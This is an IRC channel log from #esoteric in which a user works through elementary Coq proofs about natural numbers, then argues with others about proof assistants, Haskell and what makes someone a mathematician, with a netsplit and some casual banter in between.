:AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : you need to do stuff <-- what stuff? < 1269794052 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(context: composite key= < 1269794056 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :s/=/)/ < 1269794155 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Darn, I can't turn ~ exists ~ -> forall. < 1269794204 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Because that's excluded middle. < 1269794204 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: It's like some sort of include thing and some sort of config file change and thingy; I forget. < 1269794204 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :dixon: latex coq < 1269794204 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I have ~ exists n, ~ exists m, m > n which is, you know, close. < 1269794230 0 :Gracenotes!unknown@unknown.invalid QUIT :Quit: Leaving < 1269794297 0 :kar8nga!~kar8nga@91.35.72-86.rev.gaoland.net JOIN :#esoteric < 1269794516 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :This tactic applies to any goal. assert (H : U) adds a new hypothesis of name H asserting U to the current goal and opens a new subgoal U3. The subgoal U comes first in the list of subgoals remaining to prove. < 1269794520 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :gawd, why didn't I know of this before < 1269795019 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION looks for (m <= n) -> (m <= S n)
< 1269795146 0 :lifthrasiir!pLkLl8ot@haje12.kaist.ac.kr JOIN :#esoteric < 1269795167 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : x : nat < 1269795167 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : H : forall m : nat, S x >= m < 1269795167 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : IHx : (forall m : nat, x >= m) -> False < 1269795168 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : ============================ < 1269795169 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : False < 1269795171 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :man go fuck yourself :P < 1269795306 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, hm okay < 1269795309 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :bbl < 1269795346 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :alise_: Write it in LaTeX without using a tool to do it for you. < 1269795366 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :dixon: But the proof is trivial; all I am trying to do is get used to Coq. < 1269795395 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Typesetting is not what I am trying to do. < 1269795403 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :i c < 1269795478 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : H : forall m : nat, 1 >= m < 1269795479 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : ============================ < 1269795479 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : forall m : nat, 0 >= m < 1269795479 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269795484 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i am doing this all wrong < 1269795615 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : x : nat < 1269795616 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : H : forall m : nat, S (S x) >= m < 1269795616 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : IHx : (forall m : nat, S x >= m) -> False < 1269795616 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : IHx0 : (forall m : nat, S x >= m) -> < 1269795616 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : ((forall m : nat, x >= m) -> False) -> False < 1269795616 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : ============================ < 1269795617 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : False < 1269795620 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I have a feeling Coq is trying to get me to do an infinite induction manually < 1269795898 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269796085 0 :adam_d!~Adam@aatl83.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1269796323 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Well, I proved it. < 1269796334 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric : man go fuck yourself :P < 1269796334 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric : alise_, hm okay < 1269796334 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric : bbl < 1269796336 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Not using tactics - only partly - though. < 1269796339 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1269796340 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :What was the syntax for that quote bot? < 1269796392 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://pastie.org/892210.txt?key=ir8pgxsvdnexhfoifnvvpg < 1269796397 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :FireFly: `addquote ... < 1269796414 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :`addquote man go fuck yourself :P alise_, hm okay bbl < 1269796427 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :`quote < 1269796429 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :Hmm < 1269796474 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Theorem No_biggest_3 : ~ exists n, forall m, n >= m. < 1269796474 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : intros H. < 1269796474 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : destruct H. < 1269796474 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : set (H0 := H (S x)). < 1269796474 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : apply (Not_bigger_than_successor H0). < 1269796475 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Qed. < 1269796475 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :tada < 1269796479 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I could fold in Not_bigger_than_successor if I wanted... < 1269796532 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1269796532 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1269796558 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :No_biggest_4 = < 1269796559 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fun H : exists n : nat, forall m : nat, n >= m => < 1269796559 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :match H with < 1269796559 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :| ex_intro x H0 => < 1269796559 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : let H1 := H0 (S x) in let H2 := gt_Sn_n x in le_not_lt (S x) x H1 H2 < 1269796559 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :end < 1269796560 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : : ~ (exists n : nat, forall m : nat, n >= m) < 1269796560 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Success! < 1269796587 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Proof: intros H. destruct H. set (H0 := H (S x)). assert (H1 : S x > x). apply gt_Sn_n. apply (le_not_lt (S x) x). assumption. assumption. < 1269796732 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Thus proving the incredibly obvious truth that there is no natural number n such that for all natural numbers m, n is either greater than or equal to m. < 1269796750 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :All the 0 people who believe that infinity is a natural number have been thoroughly debunked! Ha! < 1269796756 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :That was such a waste of time. < 1269796767 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :There are more than 0 people who believe that. < 1269796785 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Shaddup. < 1269796796 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :From Talk:Hereditarily finite set, archived from Votes for DEletion: < 1269796797 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :"Hereditarily finite set. Strange maths stuff. Makes no sense. Angela 00:52, Oct 2, 2003 (UTC)" < 1269796807 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Angela being the Wikia founder. < 1269796819 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Heh. < 1269796839 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :wat, u mean I can't just do S(n) < 1269796859 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hey, "hereditarily finite set" alternates vowels and consonants. < 1269796866 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :dixon: wut < 1269796877 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*Deletion < 1269796888 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :let m = S(n) < 1269796895 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well yeah exactly < 1269796906 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :my proof is shorter. suckaaaaaaaaa < 1269796908 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but that just gives you n >= S n... so then you have to disprove that < 1269796918 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, to be fair, when she nominated it for deletion, the article's text was this: < 1269796922 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :which you do by asserting that S n > n, using the existing theorem for that, then using the theorem that contradicts the two < 1269796926 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :... n can't be >= S(n) < 1269796930 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :of course it can't < 1269796934 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :"A set A is called 'Heredity finite' if it is is in $V_\omega$, or on other word, if it is in $V_n$ for some natural number $n$" < 1269796936 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and there can't be a finite number of primes < 1269796937 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :you have to prove it < 1269796972 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :dixon: Of course it is very easy to package the fact that ~ n >= S n up into one theorem. < 1269796979 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Theorem Not_bigger_than_successor {n} : ~ n >= S n. < 1269796980 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : intros n H. < 1269796980 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : assert (H0 : S n > n). < 1269796980 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : apply gt_Sn_n. < 1269796980 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : apply (le_not_lt (S n) n). < 1269796980 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : assumption. < 1269796982 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : assumption. < 1269796984 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Qed. < 1269796995 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Either I just didn't find it in Coq's library or nobody thought to combine the two yet, because there's ~ n > S n. < 1269797006 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Or you could just reference Peano's axioms. < 1269797063 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Peano's axioms don't actually define greaterthan, less than, etc, for a start. < 1269797065 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Just equality. < 1269797119 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So... yeah. < 1269797128 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :We can define less than using them. If m = S^n(x) for some natural n, then m > x < 1269797137 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Which is something you have to prove. < 1269797145 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :No I don't. < 1269797146 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :You can't just say "this is true" because if you did that nothing would need a proof. < 1269797155 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :I can define it as true. < 1269797156 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Anyway -- if I used "auto with arith" it could do all this automatically. < 1269797159 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :But I was too lazy. < 1269797167 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :dixon: Then congratulations, you created an axiom. < 1269797181 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Too lazy to avoid doing work, heh. < 1269797193 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, yes, of course, there is a tactic to automatically prove this sort of stuff for you in one statement. < 1269797203 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :But I'm trying to learn how to use Coq, not how to ask Coq to prove everything for me. < 1269797215 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :If you just want to dis Coq as being a verbose waste of time you could just do that directly :P < 1269797245 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269797250 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :I don't think Coq is a waste of time, I think computer-based pseudo-math using Coq, Haskell, Axiom, etc is a waste of time. < 1269797262 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Haskell can't even prove things. < 1269797268 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Yes it can. < 1269797271 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So lumping it in with Coq is ridiculous. < 1269797289 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :dixon: Well, for a start, it can prove anything (using undefined); for a second, its propositions are boolean-returning functions, not actual types. < 1269797292 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So no, it cannot. < 1269797301 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :And Axiom is a computer algebra system, not a proof assistant. < 1269797306 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Curry-Howard isomorphism. < 1269797333 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :And I'm well-aware what Axiom is, but it has a language packaged with it called Aldor. < 1269797336 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :- is clearly something you know nothing about; it addresses the simply-typed lambda calculus, which has no _|_. < 1269797336 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So - do you consider the proof of the four-colour theorem "pseudo-math"? < 1269797343 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Is it pseudo-math just because a computer did it? < 1269797389 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :FireFly, hah at that quote < 1269797456 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269797560 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :alise_: Coming from the one saying you can't prove things in Haskell, you seem to be the one in the dark. And I think fooling around with Coq, Haskell, etc and thinking it makes you a mathematician is pseudo-math, not being a mathematician who happens to use Coq to construct a proof of e.g., the FCT. < 1269797579 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Well, yes, you can prove things in Haskell, but it is an inconsistent system. < 1269797605 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Yes - you can do `data Z; data S n`, then meticulously define operations on it, then construct values to prove it. < 1269797610 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :But you can prove anything you want: "undefined". < 1269797613 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :That depends on how you define "a mathematician". < 1269797624 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It is a proof system only in the most pathological sense, and even then it is blatantly inconsistent. < 1269797631 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :And I never claimed I was a mathematician because I fuck around with Coq. < 1269797646 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Think Newton. < 1269797662 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :But are you imposing some sort of elitism on "mathematician" above someone who does mathematics? Surely if some amateur constructed a new kind of object and proved useful things about it with Coq, e would be a "real" mathematician. < 1269797694 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :If you do not agree then you're just an elitist scared of some random nobody doing anything worthwhile. < 1269797705 0 :Quadrescence!~quad@unaffiliated/quadrescence JOIN :#esoteric < 1269797711 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So a mathematician is a person who invents new fields of mathematics and discovers novel applications of it? < 1269797737 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Or even just a person who discovers novel results about existing fields. < 1269797743 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, I would say far from all mathematicians manage to invent a new field of mathematics. < 1269797749 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :A mathematician is someone who explores mathematics and shows up previously unknown things in its depths. < 1269797758 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :some could refine an already existing field < 1269797772 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :They're even a mathematician if they only try and do this without succeeding as long as they have the competence to potentially do it. < 1269797778 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, correction: s/mathematician/successful mathematician/ :P < 1269797805 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1269797821 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(for the one before) < 1269797833 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(my finger was on enter when your last line arrived) < 1269798086 0 :MigoMipo!unknown@unknown.invalid QUIT :*.net *.split < 1269798189 0 :pikhq!unknown@unknown.invalid QUIT :*.net *.split < 1269798189 0 :yiyus!unknown@unknown.invalid QUIT :*.net *.split < 1269798189 0 :alise_!unknown@unknown.invalid QUIT :*.net *.split < 1269798189 0 :Gregor!unknown@unknown.invalid QUIT :*.net *.split < 1269798189 0 :olsner!unknown@unknown.invalid QUIT :*.net *.split < 1269798189 0 :adam_d!unknown@unknown.invalid QUIT :*.net *.split < 1269798190 0 :uorygl!unknown@unknown.invalid QUIT :*.net *.split < 1269798190 0 :ineiros!unknown@unknown.invalid QUIT :*.net *.split < 1269798190 0 :tombom!unknown@unknown.invalid QUIT :*.net *.split < 1269798190 0 :mtve!unknown@unknown.invalid QUIT :*.net *.split < 1269798190 0 :SimonRC!unknown@unknown.invalid QUIT :*.net *.split < 1269798190 0 :Quadrescence!unknown@unknown.invalid QUIT :*.net *.split < 1269798190 0 :jix!unknown@unknown.invalid QUIT :*.net *.split < 1269798190 0 :pineapple!unknown@unknown.invalid QUIT :*.net *.split < 1269798190 0 :rodgort!unknown@unknown.invalid QUIT :*.net *.split < 1269798190 0 :chickenzilla!unknown@unknown.invalid QUIT :*.net *.split < 1269798190 0 :jcp!unknown@unknown.invalid QUIT :*.net *.split < 1269798190 0 :EgoBot!unknown@unknown.invalid QUIT :*.net *.split < 1269798190 0 :HackEgo!unknown@unknown.invalid QUIT :*.net *.split < 1269798190 0 :cal153!unknown@unknown.invalid QUIT :*.net *.split < 1269798191 0 :MaXo2!unknown@unknown.invalid QUIT :*.net *.split < 1269798191 0 :Leonidas!unknown@unknown.invalid QUIT :*.net *.split < 1269798191 0 :MizardX!unknown@unknown.invalid QUIT :*.net *.split < 1269798191 0 :FireFly!unknown@unknown.invalid QUIT :*.net *.split < 1269798191 0 :wareya!unknown@unknown.invalid QUIT :*.net *.split < 1269798191 0 :myndzi\!unknown@unknown.invalid QUIT :*.net *.split < 1269798191 0 :bsmntbombdood!unknown@unknown.invalid QUIT :*.net *.split < 1269798191 0 :comex!unknown@unknown.invalid QUIT :*.net *.split < 1269798191 0 :Ilari!unknown@unknown.invalid QUIT :*.net *.split < 1269798191 0 :dixon!unknown@unknown.invalid QUIT :*.net *.split < 1269798191 0 :cheater2!unknown@unknown.invalid QUIT :*.net *.split < 1269798191 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :*.net *.split < 1269798191 0 :AnMaster!unknown@unknown.invalid QUIT :*.net *.split < 1269798191 0 :oklopol!unknown@unknown.invalid QUIT :*.net *.split < 1269798193 0 :sshc!unknown@unknown.invalid QUIT :Ping timeout: 255 seconds < 1269798222 0 :mycroftiv!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269798273 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269798334 0 :sshc!~sshc@unaffiliated/sshc JOIN :#esoteric < 1269798334 0 :mycroftiv!~ircguy@h69-128-47-242.mdsnwi.dedicated.static.tds.net JOIN :#esoteric < 1269798334 0 :Quadrescence!~quad@unaffiliated/quadrescence JOIN :#esoteric < 1269798334 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269798334 0 :adam_d!~Adam@aatl83.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1269798334 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1269798334 0 :alise_!~alise___@212.183.140.35 JOIN :#esoteric < 1269798334 0 :MigoMipo!~migomipo@84-217-9-23.tn.glocalnet.net JOIN :#esoteric < 1269798334 0 :cheater2!~cheater@ip-80-226-15-2.vodafone-net.de JOIN :#esoteric < 1269798334 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1269798334 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1269798334 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1269798334 0 :AnMaster!~AnMaster@unaffiliated/anmaster JOIN :#esoteric < 1269798334 0 :oklopol!~oklopol@a91-153-122-35.elisa-laajakaista.fi JOIN :#esoteric < 1269798334 0 :pikhq!~pikhq@75-106-123-198.cust.wildblue.net JOIN :#esoteric < 1269798334 0 :wareya!~wareya@cpe-74-70-140-214.nycap.res.rr.com JOIN :#esoteric < 1269798334 0 :dixon!~dixon@unaffiliated/reikon JOIN :#esoteric < 1269798334 0 :myndzi\!myndzi@tengototen.net JOIN :#esoteric < 1269798334 0 :yiyus!1242712427@je.je.je JOIN :#esoteric < 1269798334 0 :mtve!~mtve@65.98.99.53 JOIN :#esoteric < 1269798334 0 :ineiros!~itniemin@james.ics.hut.fi JOIN :#esoteric < 1269798334 0 :uorygl!~Warrigal@rrcs-70-63-156-144.midsouth.biz.rr.com JOIN :#esoteric < 1269798334 0 :SimonRC!~sc@fof.durge.org JOIN :#esoteric < 1269798334 0 :EgoBot!~EgoBot@codu.xen.prgmr.com JOIN :#esoteric < 1269798334 0 :HackEgo!~HackEgo@codu.xen.prgmr.com JOIN :#esoteric < 1269798334 0 :cal153!~cal@c-69-181-46-213.hsd1.ca.comcast.net JOIN :#esoteric < 1269798334 0 :jix!~jix@cyb0rg.org JOIN :#esoteric < 1269798334 0 :pineapple!~pineapple@cpc3-aztw11-0-0-cust24.aztw.cable.virginmedia.com JOIN :#esoteric < 1269798334 0 :rodgort!~rodgort@li14-39.members.linode.com JOIN :#esoteric < 1269798334 0 :chickenzilla!~chicken@olol.eu JOIN :#esoteric < 1269798334 0 :olsner!~salparot@c83-252-161-133.bredband.comhem.se JOIN :#esoteric < 1269798334 0 :Gregor!~gregor@65.183.185.22 JOIN :#esoteric < 1269798334 0 :bsmntbombdood!~gavin@97-118-247-81.hlrn.qwest.net JOIN :#esoteric < 1269798334 0 :MaXo2!~dwili@esp64-1-82-243-172-27.fbx.proxad.net JOIN :#esoteric < 1269798334 0 :Leonidas!~Leonidas@unaffiliated/leonidas JOIN :#esoteric < 1269798334 0 :comex!comex@c-98-210-192-54.hsd1.ca.comcast.net JOIN :#esoteric < 1269798334 0 :Ilari!~user@2002:5870:32ae::1 JOIN :#esoteric < 1269798348 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I will speak to him and leverage what he knows already, and move forward. < 1269798349 0 :sebbu!~sebbu@ADijon-152-1-30-184.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1269798352 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Well, you could have just stated - as I suspected - that it was a philosophical objection to all this rag at the start; then we'd know it's a philosophical disagreement and could have stopped wasting our time sooner. < 1269798358 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269798364 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :And Zeilberger is a lunatic. < 1269798376 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :He's a smart lunatic. < 1269798390 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Yes, well, so are many people. < 1269798392 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :And he knows his shit and moreover has a passion lacking in most mathematicians. < 1269798413 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Masterpieces. < 1269798471 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :dixon: Is that just a random exclamation or does it have context? < 1269798519 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :alise_: You'd understand if you knew much about Zeilberger. < 1269798536 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders who isn't a lunatic, according to alise_
< 1269798545 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :dixon: lol. < 1269798564 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :VLC: Please stop being an attention whore. You should only be making your window flash when something actually happens < 1269798626 0 :sshc!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269798648 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: VLC said that if you stop watching porn in it, it'll stop flashing you. < 1269798649 0 :sshc!~sshc@174-19-197-100.bois.qwest.net JOIN :#esoteric < 1269798655 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269798662 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :That's what VLC thought. < 1269798681 0 :BeholdMyGlory_!~behold@d83-183-183-70.cust.tele2.se JOIN :#esoteric < 1269798717 0 :AnMaster_!~AnMaster@cl-394.sto-01.se.sixxs.net JOIN :#esoteric < 1269798819 0 :jcp!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269798896 0 :Leonidas!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269798896 0 :MaXo2!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269798901 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269798902 0 :MaXo2!~dwili@esp64-1-82-243-172-27.fbx.proxad.net JOIN :#esoteric < 1269798903 0 :AnMaster!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269798906 0 :mtve!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1269798907 0 :SimonRC!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1269798907 0 :SimonRC!~sc@fof.durge.org JOIN :#esoteric < 1269798939 0 :jcp!~jw@c-98-202-196-76.hsd1.ut.comcast.net JOIN :#esoteric < 1269798954 0 :Leonidas_!~Leonidas@chronon.pointtec.de JOIN :#esoteric < 1269798955 0 :Leonidas_!unknown@unknown.invalid QUIT :Changing host < 1269798955 0 :Leonidas_!~Leonidas@unaffiliated/leonidas JOIN :#esoteric < 1269798967 0 :sshc!unknown@unknown.invalid QUIT :Changing host < 1269798967 0 :sshc!~sshc@unaffiliated/sshc JOIN :#esoteric < 1269798969 0 :AnMaster_!unknown@unknown.invalid QUIT :Changing host < 1269798969 0 :AnMaster_!~AnMaster@unaffiliated/anmaster JOIN :#esoteric < 1269798969 0 :BeholdMyGlory_!unknown@unknown.invalid QUIT :Changing host < 1269798969 0 :BeholdMyGlory_!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1269798974 0 :jcp!unknown@unknown.invalid QUIT :Changing host < 1269798974 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269799003 0 :cal153!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269799006 0 :BeholdMyGlory_!unknown@unknown.invalid NICK :BeholdMyGlory < 1269799008 0 :cal153!~cal@c-69-181-46-213.hsd1.ca.comcast.net JOIN :#esoteric < 1269799015 0 :uorygl!unknown@unknown.invalid QUIT :*.net *.split < 1269799015 0 :ineiros!unknown@unknown.invalid QUIT :*.net *.split < 1269799078 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :"dd/dd is something based on dd/sh but different. It is based on the UNIX 'dd' command, but it doesn't use 'dd' command, actually, because it is different. " < 1269799188 0 :uorygl!~Warrigal@rrcs-70-63-156-144.midsouth.biz.rr.com JOIN :#esoteric < 1269799205 0 :uorygl!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1269799222 0 :uorygl!~Warrigal@rrcs-70-63-156-144.midsouth.biz.rr.com JOIN :#esoteric < 1269799270 0 :lifthras1ir!M58WNbag@haje12.kaist.ac.kr JOIN :#esoteric < 1269799272 0 :adam_d!~Adam@aatl83.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1269799272 0 :MizardX-!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1269799278 0 :sebbu!unknown@unknown.invalid QUIT :*.net *.split < 1269799278 0 :MizardX!unknown@unknown.invalid QUIT :*.net *.split < 1269799301 0 :MizardX-!unknown@unknown.invalid NICK :MizardX < 1269799316 0 :werdan7!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269799316 0 :lifthrasiir!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269799351 0 :myndzi!myndzi@tengototen.net JOIN :#esoteric < 1269799369 0 :werdan7_!~w7@freenode/staff/wikimedia.werdan7 JOIN :#esoteric < 1269799442 0 :mtve!~mtve@65.98.99.53 JOIN :#esoteric < 1269799443 0 :sebbu!~sebbu@ADijon-152-1-30-184.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1269799447 0 